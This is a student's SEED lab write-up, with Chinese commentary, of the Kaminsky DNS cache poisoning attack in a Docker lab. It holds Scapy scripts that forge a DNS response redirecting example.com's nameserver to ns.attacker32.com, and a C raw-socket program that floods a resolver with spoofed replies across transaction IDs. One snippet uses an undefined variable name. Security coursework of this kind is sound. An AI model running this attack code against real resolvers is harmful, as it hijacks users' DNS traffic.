Lab Environment Setup (Task 1)
dcbuild
dcup
Task 2: Construct DNS request
使用Scapy构造DNS包
将示范代码补充完整得
from scapy.all import *
ip = IP(src='1.2.3.4',dst='10.9.0.53')
udp= UDP(sport=12345, dport=53,chksum=0)
Qdsec = DNSQR(qname='www.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
request = ip/udp/dns
发送包结果如下
在完成下面的任务时,发现python构建的DNS包需要通过c程序进行发包。所以需要构建bin文件供c程序使用(bin文件为二进制文件)
from scapy.all import *
ip = IP(src='1.2.3.4',dst='10.9.0.53')
udp= UDP(sport=12345, dport=53,chksum=0)
Qdsec = DNSQR(qname='aaaaa.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
request = ip/udp/dns
with open('ip_req.bin', 'wb') as f:
f.write(bytes(Querypkt))
Querypkt.show()
Task 3: Spoof DNS Replies.
from scapy.all import *
# based on SEED book code
targetName = 'aaaaa.example.com'
targetDomain = 'example.com'
# reply pkt from target domain NSs to the local DNS server
ip = IP(src='199.43.135.53', dst='10.9.0.53', chksum=0)
udp = UDP(sport=53, dport=33333, chksum=0)
# Question section
# 目的域名
Qdsec = DNSQR(qname=targetName)
# Answer section, any IPs(rdata) are fine
Anssec = DNSRR(rrname=targetName, type='A',
rdata='1.2.3.4', ttl=259200)
# Authority section (the main goal of the attack)
# 关键点,告诉目标targetdomain为攻击机,使example.com的NS绑定为ns.attacker32.com
NSsec = DNSRR(rrname=targetDomain, type='NS',
rdata='ns.attacker32.com', ttl=259200)
dns = DNS(id=0xAAAA, aa=1,ra=0, rd=0, cd=0, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
qd=Qdsec, an=Anssec, ns=NSsec)
response = ip/udp/dns
#send(response)
#将包导出到bin包,在后续的c程序中调用发包
with open('ip_resp.bin', 'wb') as f:
f.write(bytes(response))
response.show()
以下是wireshark抓包得到的伪造发包成功截图
Task 4: Launch the Kaminsky Attack
由于python程序过慢,可能导致发包回复的时间长于官方NS发包回复的时间,所以采用C程序发包。将在注释中进行一些解释
使用hexdump查看bin包结构
找到相应位置使用c语言进行修改,如偏移量为41,64的地方,修改为随机字符伪造域名。偏移量为28的地方为transaction ID
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
// based on the provided framework and SEED book code
#define MAX_FILE_SIZE 1000000
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request(unsigned char* pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize,
unsigned char* src, char* name,
unsigned short id);
int main()
{
unsigned short transid = 0;
srand(time(NULL));
// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz";
while (1) {
// Generate a random name with length 5
char name[6];
name[5] = '\0';
for (int k=0; k<5; k++) name[k] = a[rand() % 26];
printf("name: %s, id:%d\n", name, transid);
//##################################################################
/* Step 1. Send a DNS request to the targeted local DNS server.
This will trigger the DNS server to send out DNS queries */
send_dns_request(ip_req, n_req, name);
/* Step 2. Send many spoofed responses to the targeted local DNS server,
each one with a different transaction ID. */
for (int i = 0; i < 200; i++)
{
//对每个伪造的域名尝试200个transaction ID
send_dns_response(ip_resp, n_resp, "199.43.133.53", name, transid);
send_dns_response(ip_resp, n_resp, "199.43.135.53", name, transid);
transid += 1;
}
//##################################################################
}
}
//将包相应字节部分重写后调用老师提供的发包函数进行发包
/* Use for generating and sending fake DNS request.
* */
void send_dns_request(unsigned char* pkt, int pktsize, char* name)
{
// replace twysw in qname with name, at offset 41
memcpy(pkt+41, name, 5);
// send the dns query out
send_raw_packet(pkt, pktsize);
}
/* Use for generating and sending forged DNS response.
* */
void send_dns_response(unsigned char* pkt, int pktsize,
unsigned char* src, char* name,
unsigned short id)
{
// the C code will modify src,qname,rrname and the id field
// src ip at offset 12
int ip = (int)inet_addr(src);
memcpy(pkt+12, (void*)&ip, 4);
// qname at offset 41
memcpy(pkt+41, name, 5);
// rrname at offset 64
memcpy(pkt+64, name, 5);
// id at offset 28
unsigned short transid = htons(id);
memcpy(pkt+28, (void*)&transid, 2);
//send the dns reply out
send_raw_packet(pkt, pktsize);
}
/* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
Task 5: Result Verifification
使用以下命令验证攻击的结果
//在user中 运行以下指令
dig www.example.com
可以看到成功将域名www.example.com绑定到了1.2.3.5 ip上
踩的坑
因为之前的实验没有docker-compose down 导致攻击一直无法成功
将前面的容器下线后,攻击成功